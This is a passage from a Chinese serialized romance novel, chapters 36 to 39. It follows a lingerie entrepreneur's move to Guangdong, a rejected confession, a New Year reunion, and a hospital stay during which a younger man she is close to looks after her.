初到广东,谈丹青印象最深刻的,是她新厂房外面一树又一树的凤凰花。凤凰花又叫火树或是火凤凰,因红色非常鲜红,看起来就像燃烧的火焰。 谈丹青非常喜欢这种生命力旺盛、颜色灿烂的花束,觉得像她的名字,大红大绿。 广东还是美食之城,各种美食不胜枚举。谈丹青最喜欢吃广东的早茶,虾饺和米肠是她的最爱。但她实在太忙,在茶馆悠哉悠宅吃早茶只有一次。其他时候,就吃煲仔饭、猪脚饭和粉肠。 中午去见工厂老板,胡小样也跟着去。 胡小样对她很是崇拜,基本上她说什么都会在一旁星星眼。 看完工厂的仪器设备后,胡小样感叹了一句:“现在越来越流行穿无钢圈内衣了,这种内衣款式多舒服啊,女生就适合穿这种。所以说,这个行业女生越多才好。” 闻言谈丹青笑了起来,说:“这话你倒是可以让广告部说,但我们可不能真信。无钢圈现在卖的好,是因为成本低。以前的内衣上面小零件多,产业线长,卖不出利润,才渐渐少了。” “原来是这样啊……”胡小样看起来有点失望。 中午烈日炎炎,谈丹青和郑芳就找了个树荫下便餐。 郑芳咬着青菜问她:“现在是不是觉得特别安静啊。” “安静?” “弟弟们不都去上学了么?” 谈丹青笑笑,“你还真别说,是有点安静。” 郑芳拍桌,说:“那就养只小狗吧!” “动物小狗,还是人类小狗?”谈丹青非常严谨地问。 “都可以啊!”郑芳兴致勃勃,“两个都养!” 谈丹青笑了起来,说:“最近还是太忙了,等有空再看吧。” 搬到一个新城市琐事尤其多,尤其是刚到广东这地方气候也特殊,返潮严重,还会有回南天。像她们的货物,大多数都是丝绵制品,存储起来很容易放坏发霉,所以库房很有讲究。这些他们不清楚的细节,非要踩过坑踩知道。 “终于将那两个小混蛋送走了。”郑芳说感慨:“一上大学,就什么都变了。就我那堂弟,以前见着,就是个可爱小甜豆,结果去了大学,再回来我都快不认识了。被熏得一身登味儿,还喜欢键政呢,谈了好几个女朋友,也不好好谈……” 谈丹青也笑。 广东潮湿,雨水丰沛。 傍晚刚落了雨,此时空气里还萦绕着雨水的潮味。 谈丹青从工厂出来,倚着门框,吸了口烟提神。 烟头在雨雾里像枚火星,她指尖夹着烟尾,敛眸看。 手机响了响,她以为又是工厂的人,没细看来电显示就接通了。 “喂。” “谈丹青。”话筒那一头传来一道熟悉的声音。这道声音直击她的神经,令她怔愣在了原处。她忙低头再看来电显示,“绪东阳。” “绪东阳?”谈丹青低低唤了一声,依然有一种不真实感。她以为绪东阳去北京后,就不会再想起他。 “怎么了?”她问:“在学校习不习惯?” “挺好的,”绪东阳回答,“这里,这里的确很不一样。” 谈丹青笑了一声,说:“你看,我说得对吧。多见见世面的感觉是不一样的。” “你呢?”绪东阳问:“你的厂怎么样?” “也挺好。”谈丹青说:“已经搬过来了。” “你声音听起来很累。”绪东阳说。 “有吗?”谈丹青轻轻咳了一声,清了清嗓子,“可能是吧,刚搬过来,事情多。” “别太累了。”绪东阳叮嘱道。 “你也是,”谈丹青说。 话筒里的说话声渐渐安静,然后变成了宁静的雨声,唰唰作响。 谈丹青能听到绪东阳的呼吸,好像他就俯在她的耳边。 她觉得该说能说的话,基本说完了,再往后,怕又要触碰到禁区。 她正要掐断电话,就听见绪东阳熟悉的声音再次响起,这次,在夹杂雨声的背景音里,绪东阳的声音澄澈清晰,仿佛透明的水晶,不含一丝杂志。 “我这边在下雨。我刚刚看了天气预报,广东也是。谈丹青,我好想你。” 【作者有话说】 绪东阳:我在北京很想你。 谈丹青:……- 时间跨度不会很大,可能就跨大概一个学期。 打个预防针,后面就是真心谈恋爱了,两个都会好好爱对方的好宝宝。[垂耳兔头] 37 第37章 ◎“闹半天,原来是你啊。”◎ 淅淅沥沥的雨声比电流声更嘹亮,在耳畔织就绵密的网。枝头几朵火红的凤凰花被雨水打落,殷红的花瓣在积水上漂浮着,渐渐荡得很远。 “小谈姐!”这时胡小样撑着伞气喘吁吁地跑来,“人到门口了。” “哦……好。”谈丹青回过神,匆匆应声,“我马上过来。” 再低头时,通话已经被掐断了,界面也回到了默认屏保图片,好像刚刚那通电话如雨水渗入沙地般消失无踪。 仿佛在重新确认着什么,谈丹青忙又点进“最近通话”列表。 最新一条显示着绪东阳的名字。 她怔了一会儿,耳膜雨声回响。 “小谈姐?”胡小样见她半晌没动,小声催促。 “哦,就来。”谈丹青锁掉屏幕,转身进去。 * 广东轻工业区厂房连片,机器轰鸣,大货车和叉车来来往往永不停歇,像一座生机勃勃的钢铁森林。 谈丹青长得漂亮,做事也体面,到这片区没多久,名声就打了出去。谁都知道,新来的这位女老板很有本事。 这晚的局是方晏攒的。方晏是她工厂厂主的儿子,总爱穿件灰牛仔外套,开着改装过的吉普车在工业区横冲直撞。 他倚在包厢门口打游戏,见她来,眼睛一亮,那枚标志性的小虎牙在唇边一闪,带着点孩子气的狡黠。 “谈老板赏脸啊。”他故意用广东话拖长语调。 谈丹青笑着进了包厢,才发现桌上只摆了他俩的碗筷。 她施施然坐下,问:“其他人呢?” “放我鸽子了。”阿晏说:“我俩先吃,我请你吃鸡。” 听说在广东人这里,请人吃鸡是最高规格的待客之道。 阿晏给她点了一道桑拿鸡,据说是这家店的特色,蒸汽下面垫着各类她不认得的药材。 谈丹青夹了一块尝,味道很鲜,一股药材的清香在齿间弥漫。 “这个椭圆形的片是什么?”她好奇地问。 “五指毛桃。”阿晏闪着小虎牙说:“广东人煲汤必放。” 这时桌上手机响起,谈丹青接通,耳边就炸开元气十足的声音:“最后一门考完了,我胡汉三马上就要回来了。” 谈丹青扬眉,“几号的票?” “腊月二十六。”谈小白说,“你什么时候回?” “比你早一天。”谈丹青说:“你到北站南站?” “你别来接,”谈小白说:“我都计划好了,早上十点到。对了,”他嘿嘿傻笑,“我不是一个人回来的哦!” “哈?”谈丹青说:“真的假的?少诳我啊。” “嘿嘿嘿,到时候你就知道了!”谈小白神神秘秘地说。 “行,到时候电话联系。”谈丹青笑着挂了电话。 对面阿晏咬着冻柠茶的吸管看她,问:“你弟弟?” “对。” “亲弟吧?” “当然。” “他多大?” “十九。 阿晏说:“那是跟我差不多,我今年二十。” “二十?”谈丹青闻言抬头,筷子一顿。 二十,跟和绪东阳一样大。 可二十岁的阿晏和绪东阳完全是两种人。阿晏从小跟着父亲走南闯北做生意,骨子里透着和她一样的江湖气。而绪东阳则像棵年轻笔直的青松。 吃过饭后,阿晏带着她去海边散步消食。 海风裹着咸湿的气息拂过,阿晏双手插兜走在她身侧。 她的鞋子碾过沙滩上银白色的细沙,发出轻微的咯吱声。 偶尔有年纪大的本地人迎面走来,会叫他们一声“靓仔靓女”,那调子拖得老长,尾音上扬,像极了TVB剧里的街头对白。 谈丹青忍不住笑出声。 “笑咩啊?”阿晏故意也把普通话拐成广东腔。 “没什么,”她望着远处海面上摇晃的渔火,“就是突然觉得,我们这样特别像在拍《溏心风暴》。” 阿晏立刻夸张地捂住心口:“哇,那你岂不是要同我商战?” 谈丹青立刻大笑起来。 潮水一波波漫上来,又退下去,在他们身后留下一道道转瞬即逝的痕迹。阿晏突然轻轻地握了一下她的手。 谈丹青怔了怔,意外地扭头看着他。 可能是紧张的缘故,他的手,掌心汗很多。 贴上来时,有些像黏糊糊的海水。 她意识到,有时候喜欢往往就是最纯粹的生理性吸引。 没有那么多缘由,无论对方有多少钱、什么身份,都改变不了身体第一刻最诚实的反应。 阿晏后立刻知后觉地松开,耳根瞬间烧得通红,抓了抓后脑勺:“那个,我中意你啊……”他笑得有些慌乱,虎牙在唇边若隐若现,“第一次追女仔。” 海风卷着细碎的浪声,在他们之间短暂地沉默。 “没关系。”谈丹青最终轻声说。 阿晏的肩膀明显放松下来,他踢开脚边的一颗小石子,开朗地笑了一声,说:“那……还是朋友?” “当然。” 回程的路上,阿晏难得安静。直到看到谈丹青工厂的指示牌。 “有件事想问清楚先,”阿晏说:“不问明白我今晚肯定睡不着啦!” “什么问题?”谈丹青问。 阿晏说:“你不接受我,是因为我比你小太多了吗?” 谈丹青想了想,转动手腕上的表盘,回答:“不是年龄的问题,我对年龄没什么介意。” 阿晏说,“唔,那明白了。感情这事勉强不来嘛!” 他后退两步,又问:“明天还去试那家新开的茶餐厅?” “好啊。”谈丹青答应。 谈丹青晚上休息的地方就在工厂楼上,她忙完后整理相册,翻到今晚吃的桑拿鸡。 这顿饭别的不提,鸡肉是真的鲜,便随手发在小号上。 配文:“在广东吃鸡,最高评价:这鸡有鸡味。” 照片发出去,评论就冒了出来: “这家鸡我也吃过,炒好吃!” “惊叹号惊叹号!这家店广东仔实名推荐啊!” “原来女神在广东!期待偶遇啊!!!” …… 一条名字是系统自动生成的乱码,发了一句:“为什么桌上有两双筷子?” 谈丹青这才注意到,她拍照时,把右上角阿晏的筷子给拍了进去。 这人怎么眼神这么好? 疑惑时,她点进了这个账号的个人界面。 这人主页除了转自己的广告,就什么都没发。 看起来沉默寡言,但非常喜欢帮她怼黑粉。 就这么靠转广告点赞,硬是挂上了满级铁粉的牌子。 这条评论一发出来,评论区重点立刻歪了: “是在广东恋爱了吗?” “有情况哦!” “祝福祝福祝福!!!!!真的好希望女神能一直幸福下去!” 谈丹青回复乱码账号:“跟朋友吃饭。” 这才将评论区的风向扭转过来。 她今晚有点累,发出去后就蒙头大睡。 到了半夜,乱码账号又上线,给她的回复悄悄点了个赞。 * 谈丹青一直在广东留到过年,直到除夕前一天,才买了回江城的机票。 直到飞机起飞,穿过云层,她才有一种思乡的心情。 回家没多久,谈小白就从厦门回了。 “姐,姐,快开门,是我!” “你不是录了指纹吗!”谈丹青脾气暴躁地从楼上下来,一拉开门,就眼前一黑。 字面意义上的“一黑”。 谈小白整张脸,黑得就能看见一排白晶晶的牙。 他在厦门天天往海边跑,已经从谈小白爆改谈小黑。 谈丹青:“我天……你是去上学,还是去挖煤了?” “姐姐好……”谈小白身边的女孩有些害羞地说。 女生本来就肤白貌美,往“谈小黑”身边一站,更显得皮肤透亮。 “进来进来。”谈丹青热情地张罗她进来,“你就是吴欣然吧,快进来坐。我不知道你今天过来,不然我就去接你了。”她狠狠瞪了谈小白一眼,严厉谴责:“你自己看你办的是个什么事!” “哎呀,这有什么。”谈小白还不上道。 谈丹青说:“甭理他,以后有什么事,就跟我说。” “谢谢,谢谢姐姐。”吴欣然说。 谈丹青指挥谈小白给吴欣然倒水切瓜,上楼匆匆换衣服。 吴欣然小声对谈小白说:“你怎么没跟我说,你姐姐长这么漂亮啊。” 谈小白:“很漂亮吗?还好吧。” 吴欣然看谈小白像看傻子。 过了一会儿,谈丹青换了条裙子从楼上下来,手中还捧了一只礼盒。 她笑着对吴欣然说:“谈小白个死东西,带你一起过来,也不跟我打声招呼,叫我什么都来不及准备。这是我公司下个季度要推的最新款,你看看喜不喜欢。” “谢谢,谢谢姐姐。”吴欣然激动地接过。 谈小白愁眉苦脸地说:“姐……你不能给第一次见面的人送内衣啊……这真的,很不好的。” “啊!!”谈小白话音未落,吴欣然就惊叫了一声,“丹心??这个牌子最近真的太火了,很难买的。” “哦。”谈小白吃着樱桃,说:“我忘记跟你说了,丹心是我姐开的。” “我我我,”吴欣然已经激动得语无伦次,“我我我,我超喜欢这个牌子啊!穿着真的巨巨巨舒服,但现在真的好难买到啊!总是断货。这款好像还没刷到过诶。” 谈丹青说:“对,这是春季款,春节后上市。” 吴欣然说:“我我我,我都快晕过去了。” 谈小白:“中暑了啊?” “滚。”谈丹青和吴欣然异口同声地说。 谈小白高举双手:“你们女的好可怕,溜了溜了……” 去饭店的路上,吴欣然和谈丹青聊了一路她公司的品牌,谈小白压根插不上话。谈小白这一次回家过年,嫌不够热闹,又叫了不少之前高中的朋友。 李远跟谈小白碰了个杯,说:“小白,听我一句劝,你他妈涂点防晒霜吧,跟你说话我就看得到一排牙。” “滚蛋。”谈小白说:“这叫男人味,懂?” “你们见何老师了吗?” “还没来得及,”谈小白说:“何老师现在怎么样?” “我回来后见过一次,”李远说:“看起来没带我们那会儿年轻了。” “带学生嘛,摧残人。” “张渊呢?” “他?他被他爹妈扔部队去了,”李远说:“前几天还听他说,每天半夜要被抓起来站岗。” 说着说着,谈小白问:“刘彤呢?” “你还惦记着人家啊?”李远觑了吴欣然一眼。 “别胡说八道啊!”谈小白连忙跟吴欣然解释:“刘彤,我高中时候追过的女生。嗨,我高中的时候是傻逼啊,是女的我都追。她高考没发挥好,弃考了,这事我总记着,觉得挺可惜。” “她,她不肯去复读,大概是觉得复读丢面子吧……”李远说:“吵着要家里人送出国了。她家其实也不是什么有钱家庭,我上次见到她爸,骑着自行车过去,头发全白了。” 说着说着,大家心情都不太好。 谈小白说:“再碰一个。” 和李远碰了杯。 “咱们这桌,是不是少了个人啊?”李远忽地说。 谈小白笑了起来,说:“我知道你说的是谁。” 这时手机突然响了起来,他接通电话,没说几句就笑,“还不快来,就等你呢。” 谈丹青打完电话回桌,随口问了一句:“还有谁要来?” 谈小白咧开嘴,故意了个卖关子,“等他来了你就知道咯!姐,你见了绝对高兴的。” “嘁。”谈丹青不接他茬,说:“我才不高兴呢,我见着你就不高兴。” 正说着,屋外有人往面推门进来。 谈丹青朝门外看了一眼,扶着门把的手,手指苍白修长,稍微有些瘦削,指背上缠着一圈白色的绷带,骨骼清俊。 顺着这只手往上看,就见一位穿黑色卫衣的年轻男人微微低头跨进门内,高大的身影顿时将整个门框填满。屋里热烘烘的暖气散了出去,潮湿的夜风从他身后灌进来,带着冬日沁人的清冽。 他抬手揭下头顶黑色兜帽,灯光自他锋利的颌线流泻而上,掠过抿紧的薄唇,高挺的鼻梁,最后落进那双黑沉沉的眼里。 整个包厢倏然一静。 “绪东阳?”谈丹青微怔,睫毛轻轻一颤,像是被突如其来的一阵雨眯了眼睛。 从九月车站送别到如今,已有半年不见。 这半年时间,说长不长,但说短也不短,却足够让他褪去最后的几分青涩。 眼前的绪东阳比离别时更显沉稳,他将短发理得更短,露出了锐利干净的轮廓,鼻梁挺直,眉骨高耸。唯一不变的,还是他看人时的那双狭长深邃的眼睛,不加掩饰的锋芒毕露。直白、专注、野心勃勃。 半晌,谈丹青回过神,微仰起脸,让笑意从眼底漫上来,在灯光下漾开一捧细碎的光。 她含着笑说:“闹半天,原来是你啊。” 38 第38章 ◎生病◎ 一屋子都是人,夹菜的、说话的、拖椅子的、走动的。 筷子碗碟不断清脆地磕碰在一起,阵阵笑声混着劝酒声,沸反盈天。 可这些人都像黑白旧照片,灰蒙蒙的,唯独谈丹青唇上一抹桑葚红,鲜艳得刺眼。 桌中心一口铜锅咕嘟咕嘟翻腾着红油,热气蒸腾而上,在吊灯下凝成一片朦胧的雾,一吹就散。 谈丹青的脸就隐在氤氲的白雾后,隔着一桌人,遥遥冲他笑。 “绪神!快来,这儿给你留了位置!”谈小白高声招呼。 他抬眼,空位恰好在她旁边。 他被推着过去坐,那淡雾就被灯光劈开。 她脸在他眼前逐渐变得清晰,连睫毛投下的阴影都一览无遗。 “这边坐。”谈丹青招呼他坐下,麻烦服务生换一副干净的碗筷。 嘈杂喧闹的人声里,她微微朝他偏头,声音压得很低,只递进了他的耳里,“几点到的?” “九点的火车。” “刚下火车就过来了?”她的目光朝他身上看了一圈,然后又瞟向椅旁,问:“你包呢?” “寄存了。” “哦,”谈丹青转动桌上的苏菲盘,说,“那你几号走呢?” 绪东阳没立刻答,而是盯着她看了一会儿,说:“我刚到。” “又不是盼着你走!”谈丹青抬高声量,不悦地扬着下颌,说,“我是在算你留几天。” 绪东阳顿了顿,说:“初五。留七天。” “那还挺早的,”谈丹青说:“你回来了打算住哪儿?” 绪东阳敛了敛眸,半晌说:“酒店吧,或者另租房子。” “又在胡说八道说什么?”谈丹青乌黑的长眉立刻挑了起来,“少你地方住了?” 她喝了口茶,说:“你房间没动过。” “好。” 两人一直低声说着悄悄话,突然谈小白带着吴欣然过来,介绍道:“阳哥,这是我女朋友,吴欣然。” 绪东阳点了点头:“你好。” “绪神咋不带女朋友回来?”李远突然从后面勾住他脖子。 绪东阳偏头看谈丹青,她慢条斯理地夹着碗里的鱼丸,睫毛都没抬一下。 “没。”他收回目光。 “没带还是没有啊?” “话真多。” “太好了,现在终于不是我一个人是单身狗了!”李远拍着桌子大声嚷嚷道:“看到没,现在帅的都不谈!” “我的妈呀,李远你照照镜子吧!”谈小白一粒花生米壳就扔了过来,正砸李远脑袋上,“人家是太挑,你是挑剩下了。” 等这个话题终于绕到别人身上去后,绪东阳又将和谈丹青的聊天重新续上,问:“你在广东怎么样?” “我?”蒸汽从火锅里腾上来,将谈丹青睫毛染得湿漉漉的,“我挺好的啊,我在哪儿都能过得非常好。” “是。”绪东阳看了她一会儿,突然说:“但看起来瘦了点。” 谈丹青筷子顿住,下意识摸了摸脸颊。但摸不出来自己瘦了没有。 “你又不是体重秤,”谈丹青说:“就看一眼还能看出来?” 绪东阳没说话,他突然伸出手,食指和虎口在她手腕突出的骨节上轻轻握了握。 指腹正好卡在凸起的骨节上。 他掌心干燥温热,虎口处有层薄茧,磨得她皮肤微微发痒。 腕间传来的温度太过鲜明,甚至能感觉到他指尖随着心跳的细微震颤。 她要抽手,却被他提前预判般收紧了手指。 “还说没有。”他扫过她手腕上的表,眼神突然变得柔和。 谈丹青抽回手,放在膝盖上,继续埋头吃菜。 “我看你才瘦了,”她故意拖长音调,眼睛盯着火锅里翻滚的肉片和辣椒,“肌肉都掉没了。” 她知道,健身的人最恨这句话。 杀伤力堪比核.武器。 绪东阳看了她好半晌,淡声说:“其实,如果你想要的话,我可以给你验一下。” “嗯?”谈丹青没有立刻反应过来。 “验一下有没有掉肌肉。” “咳咳咳……”谈丹青立刻被辣椒呛到,剧烈咳嗽起来。 谈小白:“怎么了?怎么了姐?吃到辣椒了?快喝水!” 谈丹青喝着水摇头:“没事,没事……” 她透过杯沿看绪东阳,绪东阳很淡定,好像什么事都没有,给她续上茶水。 她不可思议地想,这大学生活到底有多摧残人? 绪东阳以前哪里会说这种撩拨别人的骚话? “你比以前看起来成熟了点,”谈丹青说:“这句是实话。” * 这顿饭绪东阳吃得格外舒坦。 在北京待了小半年,那边的菜他其实吃不太惯。尤其是每天泡在学校,吃的都是食堂。 更让他放松的,是这一屋子人。 每一个都是他熟悉,并且喜欢的。 在人群中,他能跟谈丹青时不时聊上一两句。 有时因为太吵,低声说话听不清楚,高声说又会被邻座听到,不得不凑近一些,倾身过去。 于是,他能看到她的耳垂。 耳骨上那颗小小的黑痣随着她偏头的动作若隐若现。 他一直在等谈丹青说起那通电话。 大概再骂他几句?叫他趁早死了心?或者避重就轻,说她那天刚好不小心聋了。 但一顿饭吃完,散场结账,她还是没提。 她似乎一直都这么不着痕迹。 无论发生什么,她在他面前,永远都是站在台阶之上,俯身看。 开车回家后,绪东阳重新走进自己的房间。 他的房间真的没有被动过,甚至因为很久没有人进来,桌上已经蒙了一层灰。 他拉开柜子门,就看到那件黑色卫衣,他伸出手指,勾住领口一挑,布料发出轻微的窸窣声,就看见衣领内侧那件西装,好像他压根儿没离开过一样。 * 翌日早,谈小白跟吴欣然要去咸宁玩,泡温泉,腊月二十八回来。 家里突然只剩下谈丹青和绪东阳两人,绪东阳照理每天雷打不动出门晨跑,而谈丹青一觉睡到自然醒,再慢吞吞、懒洋洋地爬起来觅食。 从起床后,谈丹青就觉得脑袋有点晕晕沉沉,脚下像踩着棉花。 谈小白上火车前,给谈丹青打了个电话,“姐,我马上上车了啊。” “嗯,路上注意安全。”谈丹青说。 她在客厅找止痛药,药板铝膜边角翘起,她辨认保质期,好久没回家,药箱里的药早就过期了。 听见谈丹青声音有点不对劲,谈小白紧张兮兮地说,“是很不舒服吗?那我回来吧。” “没有,”谈丹青说:“你回来干嘛?给我添乱啊?” 电话那头传来车站广播的电子音,谈小白和他女朋友要乘坐的火车已经开始检票,谈小白跺脚,骂了一句:“他妈的煞笔火车。” “可能就有点感冒,又不是什么大事。你赶快检票进站。”谈丹青说。 “我打120送你去医院。”谈小白说。 “我天,多大点事……您就别给国家医疗系统上压力了成不成?”谈丹青没好气地说:“小然在你旁边吗?” “不在,”谈小白说:“她去卫生间了。” “那你听我说,”谈丹青说:“人家小然,今年第一年来找你玩,你现在第一任务,就是好好带着人家玩得高兴。别给我添乱,听到了没有。我真没事,别跟个喇叭似的嚷嚷了。” 这时绪东阳晨跑完,带着早饭回来。谈小白听见门锁声,立刻大喊:“绪东阳,绪东阳我姐生病了,你快送她去医院!” 绪东阳二话不说,一步就跨到了谈丹青面前。 他离她站得很近,宽厚的手掌贴住她的额头。 他的手在她额前停留了几秒,然后一把将她抄抱起来。 他抱她实在轻而易举,她的体重只有他平时训练杠铃的一半,轻飘飘地挂在他的臂弯上,“去医院。” 身体突然腾空而起,托住她的手臂,结实、稳稳当当,有一种大树一样的安全感。 他胸口的热度透过卫衣传来,随着呼吸平稳起伏,带着年轻男人特有的那种蓬勃体温。 谈丹青吓得够呛,两手在他胸膛和手臂上胡乱抓。指尖摸到了一块块虬结饱满的肌肉。他真的没撒谎,这些天,他身上的肌肉一点没掉。“绪东阳,你快放我下来!我,我数123啊!再不放我下来,我真生气了!” “1,2……” 可绪东阳已经大步往外走。 万幸绪东阳在这件事上态度坚决,坚持到底。 到了医院抽了血,拍肺部ct,谈丹青才知道自己这段时间总觉得累是因为一直在低烧,而她自己还不觉得有问题。 拿到谈丹青的化验报告,绪东阳看了好久,越看越脸色铁青。 绪东阳那头低气压,闹得谈丹青也大气不敢出。 她难得躺在病床上安静了一会儿,又想不明白自己为什么要看绪东阳那小子的脸色。 于是重新颐指气使起来:“我要喝水,要吃苹果,再来个,再来个奶茶吧。” “你知不知道你有几项指标非常差?”绪东阳抬起头来。 谈丹青说:“你不是读法的么?怎*么又懂医了。” “我会查。”绪东阳说。 智商高就这样,信息检索能力和学习能力简直怪物。 现搜现学,就将化验单上的各项数值代表什么意思摸索了个差不多。 谈丹青说:“你上百度查的啊?百度嘛,查什么病都说你快死了。” 绪东阳压根不接她的梗,他眼神带着凉意,盯着她,“你管这个叫,‘过得挺好’?你压根就没有好好吃饭,没有好好睡觉。” “我以为,我不在,你也会好好照顾自己。”他很低的,喃喃自语了一声,声音又哑又碎,像吞了把沙。 谈丹青一时语结,不知道说什么。 最可气的是,明明生病的是她。 为什么绪东阳却表现得像是被谁欺负了。 39 第39章 ◎夜谈◎ 谈丹青从不认为生病是什么了不得的大事。 一来人食五谷,就生百病,哪有一直健康无恙的道理。 生病吃点药,休息休息就好了,她以前都是这么过来的?怎么现在就不行了? 二来,她也受不了被人当成肩不能提,手不能担的豌豆公主护着。她觉得这种保护很可怕,会让她觉得自己很脆弱,而人一旦脆弱下去,想再坚强起来独当一面,就要难很多。 “3号床,准备打针了。”护士熟练地撕开一次性针头包装。 谈丹青条件反射地绷直了后背,“还要打针?” “营养针。”护士说。 绪东阳忽然走近,骨节分明的手撑在她枕边,黑色卫衣袖口卷起,露出一截线条分明的小臂。“怕疼就抓着我。”他声音很低,带着青年特有的微哑。 “我又不是三岁小孩,”谈丹青故意把脸转到一边,说:“我怕这儿?” 正在换药瓶的护士噗嗤笑出声,说:“你男朋友人还挺好的,上次我给一个女孩儿打针,还没扎到她,那女孩儿就一直叫痛,她男朋友就说,要打死我。” 谈丹青哭笑不得。 冰凉的酒精棉球擦过皮肤,谈丹青嘴上说不怕,还是刻意扭头不看针刺穿皮肤。她的眼睛落在绪东阳胸口银色的拉链扣上。 她没话找话,问:“医生哇,我啥时候能回去呢?” “现在就想着回?”护士说:“烧都没退呢。别以为发热是小事,病毒性心肌炎就是这么拖出来的。再观察两天吧。” 听到“心肌炎”三个字,头顶一道冷冰冰的目光立刻刺了过来,绪东阳明显在阴恻恻睇着她。 大过年回不了自己家,谈丹青本来就心里窝火,不由迁怒于绪东阳,针打完后,索性被子一蒙,拿后脑勺对他。 绪东阳什么也没说,出去了一趟。 再回来时,他手里多了一只白色塑料袋。 谈丹青瞄了一眼里面花花绿绿的包装,有水果、泡芙和几瓶矿泉水。 他没将矿泉水直接拿给她喝,而是倒进烧水壶中烧开。 “随便吃点,”等着水烧开,他将奶油泡芙递给她,“奶茶肯定不能喝。蛋糕店的女孩儿说,女生生病了都喜欢吃这个。” “蛋糕店怎么知道你是给女生买的。”谈丹青气归气,但绝不苛待自己这张嘴。她诚实地咬了一大口,绵密的奶油立刻在舌尖化开,甜得发齁。 绪东阳盯着她张张合合吃奶油的嘴唇看了半晌,喉结不明显地滚动,然后突然抬了抬手,食指在自己的唇角点了点。 谈丹青这才惊觉自己将奶油吃到嘴唇上了。 奶油泡芙就这点不好,奶油馅很容易溢出来。 她慌忙扯了张纸擦拭嘴角。 绪东阳的目光在她唇上又停留了一会儿,方才转身,在床尾的一张椅子里坐下,用瑞士军刀削苹果皮。 苹果皮打着圈从他手指间落下。他的手指修长、灵活,和银白刀锋相映成趣。 “我说,我买给我喜欢的人。”他漫不经心地说。 “咳咳咳,”谈丹青被呛着咳嗽了好几声。 绪东阳递给她水,说:“这样说,省得店员多问。” 谈丹青说:“以后不许再这样了,真的是,越学越坏!” 泡芙吃第一个好吃,但再多吃就腻。剩下的泡芙谈丹青吃不下,全让绪东阳消灭,她则开开心心吃苹果。 谈小白上火车没多久,立马打电话来,“到医院了么?医生怎么说?” 谈丹青说:“真没什么大事。” “我听绪东阳说,幸好来检查了。”谈小白心有余悸。 “你少听他瞎说,他就爱夸张!”说这话时,绪东阳就坐在她对面沙发上用笔记本电脑做小组作业。 当着本人的面说人坏话,谈丹青丝毫不心虚。 医院九点后病房停止访客。 绪东阳租了一张护工床,晚上睡觉时铺开将就着睡一宿。 吃了晚上的药后,谈丹青睡下,但怎么也睡不着,即便闭着眼睛,人的意识也是清醒的。她也想用笔记本电脑,但是用一会儿也头疼,只能闭着眼睛放空大脑。 身旁折叠床“吱呀”一沉,细微的动静像石子投入静谧的湖面。 她睁开眼睛,视线里是绪东阳背对着她的身影。 月光从窗帘缝隙漏进来,落在他乌黑的短发上,发丝偏硬,在银辉下泛着冷调的光泽,像镀了一层薄霜。 黑色卫衣的棉质布料被宽肩撑出利落的棱角,后颈处露出短短一截发茬,他带着猎豹般张力的薄肌身形,收敛成了月色里一团静止的影子。 她重新合上眼,酝酿睡意。 一只羊,两只羊。 一只水饺(睡觉),两只水饺…… 可睡意越要它来,反而迟迟不来。 就在她睁眼闭眼无数次时,绪东阳突然毫无征兆地转过身。 青年人身上特有的热气,混着淡淡的松木沐浴露味道压了下来。 他的脸在她眼前放大。 鼻梁的弧度在月光里如一道利落的剪影。 温热的呼吸拂过她的唇畔,带着淡淡的干净薄荷漱口水气息。 她呼吸一滞。 心跳声在寂静的夜里也被放大。 一下,又一下,如雨打夜窗,敲击着她的胸口。 四目相对,他温声问她:“睡不着?” 可能是夜色很宁静,也可能是今晚病房里只有他们两个人,在这样私密的意境里,似乎往往更容易敞开心扉。 “嗯……”谈丹青不自觉地揪紧被角,含糊道:“有点吧。” “睡不着很正常,医生给你开的药里面,有兴奋的成分,所以可能难以入眠。”他的声音比夜风还温和,胸膛随呼吸平缓起伏。 “难怪啊,”谈丹青扭动侧卧的脸,“我说我怎么脑子转得比白天还快呢。那……睡不着怎么办呢?吃药?” “别想着睡不着的事,想想别的。”绪东阳在她身侧动了动手臂,姿势的变化也改变了床垫陷落的弧度,他的身体似乎和她离得更近。 “那你呢?你睡不睡得着?”谈丹青侧过脸,月光恰好滑过她的鼻梁,在颊边投下一小片朦胧的影。 “我?”绪东阳说:“我也睡不着,不过,”他看着她,视线直直撞进她的眼底,说:“我睡不着是被你气的。” “哈?”谈丹青瞪大眼,睫毛在月光下扑簌簌地扇“我还气你,明明是你一直气我。” 绪东阳没反驳,只是静静看着她。 窗外不知哪里的路灯坏了,明明灭灭,将他的侧脸镀上一层流动的光影。眉骨投下的阴影,没入深邃的眼窝里。 谈丹青突然发现,绪东阳虹膜在暗处会呈现出一种很深的墨蓝色,像是午夜的海面。他的目光仿佛有重量,她甚至能清晰感受到,这道目光如同实质般抚过她的鼻梁,最后停留在她微微张开的唇瓣上。 半晌,他忽然问:“你在广东,怎么过的?” “能怎么过,在这儿怎么过,在那就怎么过。”谈丹青没心没肺地说:“在这儿吃热干面,在那儿吃煲仔饭。” “住哪儿呢?”绪东阳问。 “我不是买了个厂房么,”谈丹青说:“就住厂房楼上。” “累不累?” “唔,”谈丹青想了想,说:“比在江城还是要累点吧。江城至少混了这么多年,怎么也是我主场。但广州,咳……刚开始,还是会有点人生地不熟的。” 她想到什么好玩的,噗嗤笑了起来,说:“有一次,新工厂弄错我发的花纹了,前后印翻了,一大批货就给废掉了。” “怎么办?” “重新印呗,”谈丹青耸耸肩,眼睛依旧亮晶晶的,“没办法,做生就是这样,有的赚,也有的赔。赚的时候要守得住,赔的时候要赔得起。” 她歪头看他,笑意盈盈,“你呢?北京怎么样?大城市吧?” 绪东阳沉默了一瞬。夜风从窗缝渗入,吹动他额前的碎发。他第一次,对另一个人说出这句话:“压力很大。头一次有这么大的压力。周围人都很强,有时候会觉得自己很像傻子。” 谈丹青忍俊不禁地笑了起来,笑声像一串轻盈的铃铛,在夜色里荡开。她从被子里伸出手,指尖虚虚点了点他的眉心,却没真的碰到,带来一阵馥郁的香气。 “不准再这么说了啊,你骂自己傻子,不是把其他人都给骂进去了。我就从不觉得我傻。” “你不傻。”绪东阳望着她,眼神很深,像是一片望不到底的夜空。 “那是当然。”她扬起下巴,骄傲得像只贵族猫,“我只是学历低,我可不蠢。” “除此之外,北京很好,”绪东阳说:“有很多名胜古迹,很多博物馆和展览。” 谈丹青顿时心向往之,笑着说:“你看,我就说吧,多见见世面,怎么都是好的。” 夜更深了。 呼吸在寂静里交织,某种更隐秘的、更亲密的东西,悄然在空气里蔓延开来。 “有人欺负你吗?”绪东阳的声音压得很低,在寂静的病房里突然响,像一把大提琴的弦音,震得她耳膜微微发颤。 